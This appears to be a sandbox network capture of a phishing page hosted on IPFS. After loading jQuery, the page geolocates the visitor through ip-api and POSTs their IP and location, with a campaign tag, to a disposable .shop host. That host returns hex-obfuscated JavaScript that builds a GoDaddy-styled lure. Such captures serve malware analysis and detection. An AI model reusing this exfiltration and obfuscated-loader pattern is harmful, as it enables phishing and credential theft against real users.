2024-05-27 17:30:38 UTC	562	IN	HTTP/1.1 200 OK Connection: close Content-Length: 268381 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-4185d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1166935 Date: Mon, 27 May 2024 17:30:38 GMT X-Served-By: cache-lga21952-LGA, cache-ewr18164-EWR X-Cache: HIT, HIT X-Cache-Hits: 553, 0 X-Timer: S1716831039.624570,VS0,VE1 Vary: Accept-Encoding
2024-05-27 17:30:38 UTC	16384	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 31 2e 39 2e 31 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 30 35 2c 20 32 30 31 32 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 Data Ascii: /! jQuery JavaScript Library v1.9.1 * http://jquery.com/ * * Includes Sizzle.js * http://sizzlejs.com/ * * Copyright 2005, 2012 jQuery Foundation, Inc. and other contributors * Released under the MIT license * http://jquery.org/license * * D
2024-05-27 17:30:38 UTC	16384	IN	Data Raw: 20 69 20 5d 2c 20 61 72 67 73 20 29 3b 0a 0a 09 09 09 09 09 69 66 20 28 20 76 61 6c 75 65 20 3d 3d 3d 20 66 61 6c 73 65 20 29 20 7b 0a 09 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 09 7d 0a 09 09 09 09 7d 0a 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 66 6f 72 20 28 20 69 20 69 6e 20 6f 62 6a 20 29 20 7b 0a 09 09 09 09 09 76 61 6c 75 65 20 3d 20 63 61 6c 6c 62 61 63 6b 2e 61 70 70 6c 79 28 20 6f 62 6a 5b 20 69 20 5d 2c 20 61 72 67 73 20 29 3b 0a 0a 09 09 09 09 09 69 66 20 28 20 76 61 6c 75 65 20 3d 3d 3d 20 66 61 6c 73 65 20 29 20 7b 0a 09 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 09 7d 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 0a 09 09 2f 2f 20 41 20 73 70 65 63 69 61 6c 2c 20 66 61 73 74 2c 20 63 61 73 65 20 66 6f 72 20 74 68 65 20 6d 6f 73 74 Data Ascii: i ], args );if ( value === false ) {break;}}} else {for ( i in obj ) {value = callback.apply( obj[ i ], args );if ( value === false ) {break;}}}// A special, fast, case for the most
2024-05-27 17:30:38 UTC	16384	IN	Data Raw: 09 09 64 65 66 65 72 72 65 64 2e 72 65 73 6f 6c 76 65 57 69 74 68 28 20 63 6f 6e 74 65 78 74 73 2c 20 76 61 6c 75 65 73 20 29 3b 0a 09 09 09 09 09 7d 0a 09 09 09 09 7d 3b 0a 09 09 09 7d 2c 0a 0a 09 09 09 70 72 6f 67 72 65 73 73 56 61 6c 75 65 73 2c 20 70 72 6f 67 72 65 73 73 43 6f 6e 74 65 78 74 73 2c 20 72 65 73 6f 6c 76 65 43 6f 6e 74 65 78 74 73 3b 0a 0a 09 09 2f 2f 20 61 64 64 20 6c 69 73 74 65 6e 65 72 73 20 74 6f 20 44 65 66 65 72 72 65 64 20 73 75 62 6f 72 64 69 6e 61 74 65 73 3b 20 74 72 65 61 74 20 6f 74 68 65 72 73 20 61 73 20 72 65 73 6f 6c 76 65 64 0a 09 09 69 66 20 28 20 6c 65 6e 67 74 68 20 3e 20 31 20 29 20 7b 0a 09 09 09 70 72 6f 67 72 65 73 73 56 61 6c 75 65 73 20 3d 20 6e 65 77 20 41 72 72 61 79 28 20 6c 65 6e 67 74 68 20 29 3b 0a 09 09 Data Ascii: deferred.resolveWith( contexts, values );}};},progressValues, progressContexts, resolveContexts;// add listeners to Deferred subordinates; treat others as resolvedif ( length > 1 ) {progressValues = new Array( length );
2024-05-27 17:30:38 UTC	16384	IN	Data Raw: 65 6c 65 6d 20 3d 20 74 68 69 73 5b 30 5d 2c 0a 09 09 09 69 20 3d 20 30 2c 0a 09 09 09 64 61 74 61 20 3d 20 6e 75 6c 6c 3b 0a 0a 09 09 2f 2f 20 47 65 74 73 20 61 6c 6c 20 76 61 6c 75 65 73 0a 09 09 69 66 20 28 20 6b 65 79 20 3d 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 09 09 09 69 66 20 28 20 74 68 69 73 2e 6c 65 6e 67 74 68 20 29 20 7b 0a 09 09 09 09 64 61 74 61 20 3d 20 6a 51 75 65 72 79 2e 64 61 74 61 28 20 65 6c 65 6d 20 29 3b 0a 0a 09 09 09 09 69 66 20 28 20 65 6c 65 6d 2e 6e 6f 64 65 54 79 70 65 20 3d 3d 3d 20 31 20 26 26 20 21 6a 51 75 65 72 79 2e 5f 64 61 74 61 28 20 65 6c 65 6d 2c 20 22 70 61 72 73 65 64 41 74 74 72 73 22 20 29 20 29 20 7b 0a 09 09 09 09 09 61 74 74 72 73 20 3d 20 65 6c 65 6d 2e 61 74 74 72 69 62 75 74 65 73 3b 0a 09 09 Data Ascii: elem = this[0],i = 0,data = null;// Gets all valuesif ( key === undefined ) {if ( this.length ) {data = jQuery.data( elem );if ( elem.nodeType === 1 && !jQuery._data( elem, "parsedAttrs" ) ) {attrs = elem.attributes;
2024-05-27 17:30:38 UTC	11369	IN	Data Raw: 0a 09 09 75 73 65 6d 61 70 3a 20 22 75 73 65 4d 61 70 22 2c 0a 09 09 66 72 61 6d 65 62 6f 72 64 65 72 3a 20 22 66 72 61 6d 65 42 6f 72 64 65 72 22 2c 0a 09 09 63 6f 6e 74 65 6e 74 65 64 69 74 61 62 6c 65 3a 20 22 63 6f 6e 74 65 6e 74 45 64 69 74 61 62 6c 65 22 0a 09 7d 2c 0a 0a 09 70 72 6f 70 3a 20 66 75 6e 63 74 69 6f 6e 28 20 65 6c 65 6d 2c 20 6e 61 6d 65 2c 20 76 61 6c 75 65 20 29 20 7b 0a 09 09 76 61 72 20 72 65 74 2c 20 68 6f 6f 6b 73 2c 20 6e 6f 74 78 6d 6c 2c 0a 09 09 09 6e 54 79 70 65 20 3d 20 65 6c 65 6d 2e 6e 6f 64 65 54 79 70 65 3b 0a 0a 09 09 2f 2f 20 64 6f 6e 27 74 20 67 65 74 2f 73 65 74 20 70 72 6f 70 65 72 74 69 65 73 20 6f 6e 20 74 65 78 74 2c 20 63 6f 6d 6d 65 6e 74 20 61 6e 64 20 61 74 74 72 69 62 75 74 65 20 6e 6f 64 65 73 0a 09 09 69 Data Ascii: usemap: "useMap",frameborder: "frameBorder",contenteditable: "contentEditable"},prop: function( elem, name, value ) {var ret, hooks, notxml,nType = elem.nodeType;// don't get/set properties on text, comment and attribute nodesi
2024-05-27 17:30:38 UTC	8948	IN	Data Raw: 74 20 6d 65 6d 6f 72 79 20 6c 65 61 6b 73 20 69 6e 20 49 45 0a 09 09 65 6c 65 6d 20 3d 20 6e 75 6c 6c 3b 0a 09 7d 2c 0a 0a 09 2f 2f 20 44 65 74 61 63 68 20 61 6e 20 65 76 65 6e 74 20 6f 72 20 73 65 74 20 6f 66 20 65 76 65 6e 74 73 20 66 72 6f 6d 20 61 6e 20 65 6c 65 6d 65 6e 74 0a 09 72 65 6d 6f 76 65 3a 20 66 75 6e 63 74 69 6f 6e 28 20 65 6c 65 6d 2c 20 74 79 70 65 73 2c 20 68 61 6e 64 6c 65 72 2c 20 73 65 6c 65 63 74 6f 72 2c 20 6d 61 70 70 65 64 54 79 70 65 73 20 29 20 7b 0a 09 09 76 61 72 20 6a 2c 20 68 61 6e 64 6c 65 4f 62 6a 2c 20 74 6d 70 2c 0a 09 09 09 6f 72 69 67 43 6f 75 6e 74 2c 20 74 2c 20 65 76 65 6e 74 73 2c 0a 09 09 09 73 70 65 63 69 61 6c 2c 20 68 61 6e 64 6c 65 72 73 2c 20 74 79 70 65 2c 0a 09 09 09 6e 61 6d 65 73 70 61 63 65 73 2c 20 6f Data Ascii: t memory leaks in IEelem = null;},// Detach an event or set of events from an elementremove: function( elem, types, handler, selector, mappedTypes ) {var j, handleObj, tmp,origCount, t, events,special, handlers, type,namespaces, o
2024-05-27 17:30:38 UTC	16384	IN	Data Raw: 65 6e 74 4e 6f 64 65 20 7c 7c 20 74 68 69 73 20 29 20 7b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 63 68 65 63 6b 20 6e 6f 6e 2d 65 6c 65 6d 65 6e 74 73 20 28 23 31 33 32 30 38 29 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 70 72 6f 63 65 73 73 20 63 6c 69 63 6b 73 20 6f 6e 20 64 69 73 61 62 6c 65 64 20 65 6c 65 6d 65 6e 74 73 20 28 23 36 39 31 31 2c 20 23 38 31 36 35 2c 20 23 31 31 33 38 32 2c 20 23 31 31 37 36 34 29 0a 09 09 09 09 69 66 20 28 20 63 75 72 2e 6e 6f 64 65 54 79 70 65 20 3d 3d 3d 20 31 20 26 26 20 28 63 75 72 2e 64 69 73 61 62 6c 65 64 20 21 3d 3d 20 74 72 75 65 20 7c 7c 20 65 76 65 6e 74 2e 74 79 70 65 20 21 3d 3d 20 22 63 6c 69 63 6b 22 29 20 29 20 7b 0a 09 09 09 09 09 6d 61 74 63 68 65 73 20 3d 20 5b 5d 3b 0a 09 09 09 09 09 66 6f 72 20 Data Ascii: entNode \|\| this ) {// Don't check non-elements (#13208)// Don't process clicks on disabled elements (#6911, #8165, #11382, #11764)if ( cur.nodeType === 1 && (cur.disabled !== true \|\| event.type !== "click") ) {matches = [];for
2024-05-27 17:30:38 UTC	16384	IN	Data Raw: 0a 09 7d 0a 7d 29 3b 0a 2f 2a 21 0a 20 2a 20 53 69 7a 7a 6c 65 20 43 53 53 20 53 65 6c 65 63 74 6f 72 20 45 6e 67 69 6e 65 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 20 77 69 6e 64 6f 77 2c 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 0a 76 61 72 20 69 2c 0a 09 63 61 63 68 65 64 72 75 6e 73 2c 0a 09 45 78 70 72 2c 0a 09 67 65 74 54 65 78 74 2c 0a 09 69 73 58 4d 4c 2c 0a 09 63 6f 6d 70 69 6c 65 2c 0a 09 68 61 Data Ascii: }});/! Sizzle CSS Selector Engine * Copyright 2012 jQuery Foundation and other contributors * Released under the MIT license * http://sizzlejs.com/ */(function( window, undefined ) {var i,cachedruns,Expr,getText,isXML,compile,ha
2024-05-27 17:30:38 UTC	16384	IN	Data Raw: 09 09 72 62 75 67 67 79 51 53 41 2e 70 75 73 68 28 22 2c 2e 2a 3a 22 29 3b 0a 09 09 7d 29 3b 0a 09 7d 0a 0a 09 69 66 20 28 20 28 73 75 70 70 6f 72 74 2e 6d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 20 3d 20 69 73 4e 61 74 69 76 65 28 20 28 6d 61 74 63 68 65 73 20 3d 20 64 6f 63 45 6c 65 6d 2e 6d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 20 7c 7c 0a 09 09 64 6f 63 45 6c 65 6d 2e 6d 6f 7a 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 20 7c 7c 0a 09 09 64 6f 63 45 6c 65 6d 2e 77 65 62 6b 69 74 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 20 7c 7c 0a 09 09 64 6f 63 45 6c 65 6d 2e 6f 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 20 7c 7c 0a 09 09 64 6f 63 45 6c 65 6d 2e 6d 73 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 29 20 29 29 20 29 20 7b 0a 0a 09 09 61 73 Data Ascii: rbuggyQSA.push(",.*:");});}if ( (support.matchesSelector = isNative( (matches = docElem.matchesSelector \|\|docElem.mozMatchesSelector \|\|docElem.webkitMatchesSelector \|\|docElem.oMatchesSelector \|\|docElem.msMatchesSelector) )) ) {as
2024-05-27 17:30:38 UTC	4536	IN	Data Raw: 68 65 72 60 0a 09 09 09 09 09 77 68 69 6c 65 20 28 20 69 2d 2d 20 29 20 7b 0a 09 09 09 09 09 09 69 66 20 28 20 28 65 6c 65 6d 20 3d 20 75 6e 6d 61 74 63 68 65 64 5b 69 5d 29 20 29 20 7b 0a 09 09 09 09 09 09 09 73 65 65 64 5b 69 5d 20 3d 20 21 28 6d 61 74 63 68 65 73 5b 69 5d 20 3d 20 65 6c 65 6d 29 3b 0a 09 09 09 09 09 09 7d 0a 09 09 09 09 09 7d 0a 09 09 09 09 7d 29 20 3a 0a 09 09 09 09 66 75 6e 63 74 69 6f 6e 28 20 65 6c 65 6d 2c 20 63 6f 6e 74 65 78 74 2c 20 78 6d 6c 20 29 20 7b 0a 09 09 09 09 09 69 6e 70 75 74 5b 30 5d 20 3d 20 65 6c 65 6d 3b 0a 09 09 09 09 09 6d 61 74 63 68 65 72 28 20 69 6e 70 75 74 2c 20 6e 75 6c 6c 2c 20 78 6d 6c 2c 20 72 65 73 75 6c 74 73 20 29 3b 0a 09 09 09 09 09 72 65 74 75 72 6e 20 21 72 65 73 75 6c 74 73 2e 70 6f 70 28 29 3b Data Ascii: her`while ( i-- ) {if ( (elem = unmatched[i]) ) {seed[i] = !(matches[i] = elem);}}}) :function( elem, context, xml ) {input[0] = elem;matcher( input, null, xml, results );return !results.pop();

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	55930	51.77.64.70	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:39 UTC	618	OUT	GET /json/?key=pD3jjrEbn4o2CQ1 HTTP/1.1 Host: pro.ip-api.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://cloudflare-ipfs.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:40 UTC	175	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Mon, 27 May 2024 17:30:39 GMT Content-Length: 306 Connection: close
2024-05-27 17:30:40 UTC	306	IN	Data Raw: 7b 22 61 73 22 3a 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 69 73 70 22 3a 22 4c 65 76 65 6c 20 33 22 2c 22 6c 61 74 22 3a 34 30 2e 37 31 32 38 2c 22 6c 6f 6e 22 3a 2d 37 34 2e 30 30 36 2c 22 6f 72 67 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 2c 20 4c 4c 43 22 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 59 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 73 74 61 74 75 73 22 3a 22 73 75 Data Ascii: {"as":"AS3356 Level 3 Parent, LLC","city":"New York","country":"United States","countryCode":"US","isp":"Level 3","lat":40.7128,"lon":-74.006,"org":"CenturyLink Communications, LLC","query":"8.46.123.175","region":"NY","regionName":"New York","status":"su

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	55932	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:40 UTC	711	OUT	POST /obufsssssssscaaatoion/ HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive Content-Length: 104 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://cloudflare-ipfs.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:40 UTC	104	OUT	Data Raw: 50 61 67 65 54 79 70 65 3d 4e 6f 72 6d 61 6c 26 4e 41 4d 45 4f 46 54 48 45 47 55 59 3d 4e 61 74 61 2e 30 30 34 2e 6c 69 65 2d 4f 6e 6c 69 6e 65 4c 69 6e 6b 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 31 37 35 26 63 69 74 79 3d 4e 65 77 2b 59 6f 72 6b 26 63 6f 75 6e 74 72 79 3d 55 6e 69 74 65 64 2b 53 74 61 74 65 73 Data Ascii: PageType=Normal&NAMEOFTHEGUY=Nata.004.lie-OnlineLink&ip=8.46.123.175&city=New+York&country=United+States
2024-05-27 17:30:40 UTC	740	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:40 GMT Content-Type: application/json Content-Length: 2452751 Connection: close X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin access-control-allow-origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=awWO3EqLhvaAbLjlafeK8tXlyBQqxdHPiptv%2BeBtb4HZrU1eLJ%2Bn5LsgDKT59zFQKm653Kq4fq4jq1CvhO5S16oQPp%2Fe5iOHtOxw8jiSb9U3f34nMHPUaoABjKSZ7hFvGn8DTfnYkkrNrRA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bbf41eee4319-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:40 UTC	629	IN	Data Raw: 7b 22 6f 75 74 70 75 74 22 3a 20 22 76 61 72 20 5f 30 78 65 33 30 38 3d 5b 5c 22 5c 5c 78 37 33 5c 5c 78 36 38 5c 5c 78 36 39 5c 5c 78 36 36 5c 5c 78 37 34 5c 22 2c 5c 22 5c 5c 78 37 30 5c 5c 78 37 35 5c 5c 78 37 33 5c 5c 78 36 38 5c 22 2c 5c 22 5c 5c 78 30 41 5c 5c 78 30 41 5c 5c 78 33 43 5c 5c 78 36 34 5c 5c 78 36 39 5c 5c 78 37 36 5c 5c 78 32 30 5c 5c 78 36 39 5c 5c 78 36 34 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 34 37 5c 5c 78 36 46 5c 5c 78 36 34 5c 5c 78 36 31 5c 5c 78 36 34 5c 5c 78 36 34 5c 5c 78 37 39 5c 5c 78 34 38 5c 5c 78 37 34 5c 5c 78 36 44 5c 5c 78 36 43 5c 5c 78 32 32 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 43 5c 5c 78 36 31 5c 5c 78 37 33 5c 5c 78 37 33 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 36 36 5c 5c 78 36 46 5c 5c 78 36 46 5c 5c 78 Data Ascii: {"output": "var _0xe308=[\"\\x73\\x68\\x69\\x66\\x74\",\"\\x70\\x75\\x73\\x68\",\"\\x0A\\x0A\\x3C\\x64\\x69\\x76\\x20\\x69\\x64\\x3D\\x22\\x47\\x6F\\x64\\x61\\x64\\x64\\x79\\x48\\x74\\x6D\\x6C\\x22\\x20\\x63\\x6C\\x61\\x73\\x73\\x3D\\x22\\x66\\x6F\\x6F\\x
2024-05-27 17:30:40 UTC	1369	IN	Data Raw: 78 36 35 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 37 33 5c 5c 78 33 41 5c 5c 78 32 30 5c 5c 78 36 45 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 36 35 5c 5c 78 30 41 5c 5c 78 37 44 5c 5c 78 32 30 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 32 46 5c 5c 78 37 33 5c 5c 78 37 34 5c 5c 78 37 39 5c 5c 78 36 43 5c 5c 78 36 35 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 36 44 5c 5c 78 36 35 5c 5c 78 37 34 5c 5c 78 36 31 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 38 5c 5c 78 36 31 5c 5c 78 37 32 5c 5c 78 37 33 5c 5c 78 36 35 5c 5c 78 37 34 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 35 35 5c 5c 78 35 34 5c 5c 78 34 36 5c 5c 78 32 44 5c 5c 78 33 38 5c 5c Data Ascii: x65\\x6E\\x74\\x73\\x3A\\x20\\x6E\\x6F\\x6E\\x65\\x0A\\x7D\\x20\\x0A\\x20\\x20\\x20\\x20\\x3C\\x2F\\x73\\x74\\x79\\x6C\\x65\\x3E\\x0A\\x20\\x20\\x20\\x20\\x3C\\x6D\\x65\\x74\\x61\\x20\\x63\\x68\\x61\\x72\\x73\\x65\\x74\\x3D\\x22\\x55\\x54\\x46\\x2D\\x38\\
2024-05-27 17:30:40 UTC	1369	IN	Data Raw: 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 36 44 5c 5c 78 36 35 5c 5c 78 37 34 5c 5c 78 36 31 5c 5c 78 32 30 5c 5c 78 36 45 5c 5c 78 36 31 5c 5c 78 36 44 5c 5c 78 36 35 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 36 44 5c 5c 78 37 33 5c 5c 78 36 31 5c 5c 78 37 30 5c 5c 78 37 30 5c 5c 78 36 43 5c 5c 78 36 39 5c 5c 78 36 33 5c 5c 78 36 31 5c 5c 78 37 34 5c 5c 78 36 39 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 32 44 5c 5c 78 35 34 5c 5c 78 36 39 5c 5c 78 36 43 5c 5c 78 36 35 5c 5c 78 34 33 5c 5c 78 36 46 5c 5c 78 36 43 5c 5c 78 36 46 5c 5c 78 37 32 5c 5c 78 32 32 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 36 35 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 32 33 5c Data Ascii: \x20\\x20\\x20\\x20\\x3C\\x6D\\x65\\x74\\x61\\x20\\x6E\\x61\\x6D\\x65\\x3D\\x22\\x6D\\x73\\x61\\x70\\x70\\x6C\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\\x2D\\x54\\x69\\x6C\\x65\\x43\\x6F\\x6C\\x6F\\x72\\x22\\x20\\x63\\x6F\\x6E\\x74\\x65\\x6E\\x74\\x3D\\x22\\x23\
2024-05-27 17:30:40 UTC	1369	IN	Data Raw: 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 36 34 5c 5c 78 36 39 5c 5c 78 37 36 5c 5c 78 32 30 5c 5c 78 36 39 5c 5c 78 36 34 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 36 38 5c 5c 78 36 33 5c 5c 78 37 33 5c 5c 78 32 44 5c 5c 78 36 38 5c 5c 78 36 35 5c 5c 78 36 31 5c 5c 78 36 34 5c 5c 78 36 35 5c 5c 78 37 32 5c 5c 78 32 44 5c 5c 78 36 33 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 36 31 5c 5c 78 36 39 5c 5c 78 36 45 5c 5c 78 36 35 5c 5c 78 37 32 5c 5c 78 32 32 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 36 34 5c 5c 78 36 39 5c 5c 78 37 36 5c 5c 78 32 30 Data Ascii: \\x20\\x20\\x20\\x20\\x20\\x20\\x3C\\x64\\x69\\x76\\x20\\x69\\x64\\x3D\\x22\\x68\\x63\\x73\\x2D\\x68\\x65\\x61\\x64\\x65\\x72\\x2D\\x63\\x6F\\x6E\\x74\\x61\\x69\\x6E\\x65\\x72\\x22\\x3E\\x0A\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x3C\\x64\\x69\\x76\\x20
2024-05-27 17:30:40 UTC	1369	IN	Data Raw: 45 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 36 35 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 33 43 5c 5c 78 32 46 5c 5c 78 37 33 5c 5c 78 37 30 5c 5c 78 36 31 5c 5c 78 36 45 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 32 46 5c 5c 78 36 31 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 32 46 5c 5c 78 36 34 5c 5c 78 36 39 5c 5c 78 37 36 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 Data Ascii: E\\x20\\x63\\x6F\\x6E\\x74\\x65\\x6E\\x74\\x3C\\x2F\\x73\\x70\\x61\\x6E\\x3E\\x0A\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x3C\\x2F\\x61\\x3E\\x0A\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x3C\\x2F\\x64\\x69\\x76\\x3E\\x0A\\x20\\x20\\x20\\x20\\x2
